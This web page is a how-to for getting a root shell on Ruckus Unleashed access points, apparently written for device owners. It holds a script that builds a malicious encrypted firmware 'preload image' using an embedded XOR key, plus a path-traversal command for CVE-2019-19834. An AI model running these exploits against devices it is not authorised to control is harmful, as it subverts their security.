Skip to content

Obtaining a root shell on Ruckus Unleashed APs

The Ruckus Unleashed CLI includes an exec command which allows you to execute scripts which are preinstalled or have subsequently been uploaded to your AP.

  • Older Unleashed firmwares contain a path traversal vulnerability which allows the exec command to run arbitrary command.
  • Newer Unleased firmwares will run arbitrary commands if they are packaged and uploaded as a firmware upgrade.

Unleashed releases after 30 Aug 2023 (e.g. 200.7.10.202.145+, 200.14.6.1.203+)

Sorry, I don't have a method to obtain a root shell on newer Unleashed AP firmwares.

If your AP was released before mid-2022 then you can temporarily downgrade to an older Unleashed firmware.

Unleashed releases prior to 30 Aug 2023

This patch should be uploaded as a Preload Image (Admin & Services > Administration > Upgrade > Local Upgrade > Preload Image).

The upload process completes the patching; no upgrade will be offered.

To access the root shell from the CLI:-

ruckus-cli
ruckus> enable 
ruckus# debug 
You have all rights in this mode.
ruckus(debug)# script 
ruckus(script)# exec root_shell.sh

Ruckus Wireless Unleashed -- Command Line Interface
Enter 'help' for a list of built-in commands.

ruckus$
Creating the Patch Image yourself (from Linux or WSL)
bash
#!/bin/bash

function rks_encrypt {
RUCKUS_SRC="$1" RUCKUS_DEST="$2" python3 - <<END
import os
import struct

input_path = os.environ['RUCKUS_SRC']
output_path = os.environ['RUCKUS_DEST']

(xor_int, xor_flip) = struct.unpack('QQ', b')\x1aB\x05\xbd,\xd6\xf25\xad\xb8\xe0?T\xc58')
structInt8 = struct.Struct('Q')

with open(input_path, "rb") as input_file:
    with open(output_path, "wb") as output_file:
        input_len = os.path.getsize(input_path)
        input_blocks = input_len // 8
        output_int = 0
        input_data = input_file.read(input_blocks * 8)
        for input_int in struct.unpack_from(str(input_blocks) + "Q", input_data):
            output_int ^= xor_int ^ input_int
            xor_int ^= xor_flip
            output_file.write(structInt8.pack(output_int))
        
        input_block = input_file.read()
        input_padding = 8 - len(input_block)
        input_int = structInt8.unpack(input_block.ljust(8, bytes([input_padding | input_padding << 4])))[0]
        output_int ^= xor_int ^ input_int
        output_file.write(structInt8.pack(output_int))
END
}

cat <<END >upgrade_tool.sh
exit 1
END

cat <<END >upgrade_tool
cp -f /tmp/unleashed_upgrade/upgrade_tool.sh /tmp/unleashed_upgrade/upgrade_tool

cat <<EOF >/writable/etc/scripts/root_shell.sh
#!/bin/sh
#RUCKUS#
/bin/stty echo
/bin/sh
EOF
chmod +x /writable/etc/scripts/root_shell.sh

echo Patched Root Shell
exit 1
END
chmod +x upgrade_tool
chmod +x upgrade_tool.sh
cp upgrade_tool.sh upgrade_download_tool.sh

rm -f unleashed.patch.tgz
tar czf unleashed.patch.tgz upgrade_tool upgrade_tool.sh upgrade_download_tool.sh
rks_encrypt unleashed.patch.tgz unleashed.root.patch.dbg
rm unleashed.patch.tgz upgrade_tool upgrade_tool.sh upgrade_download_tool.sh

Unleashed 200.0 - 200.7.10.202.94

Use CVE-2019-19834:-

To access a root shell from the CLI:-

ruckus-cli
ruckus> enable 
ruckus# debug 
You have all rights in this mode.
ruckus(debug)# script 
ruckus(script)# exec ../../../bin/sh

Ruckus Wireless Unleashed -- Command Line Interface
Enter 'help' for a list of built-in commands.

ruckus$ stty echo
ruckus$

TIP

You won't be able to see yourself typing stty echo. Calling stty echo restores local echo so you can see what you're typing.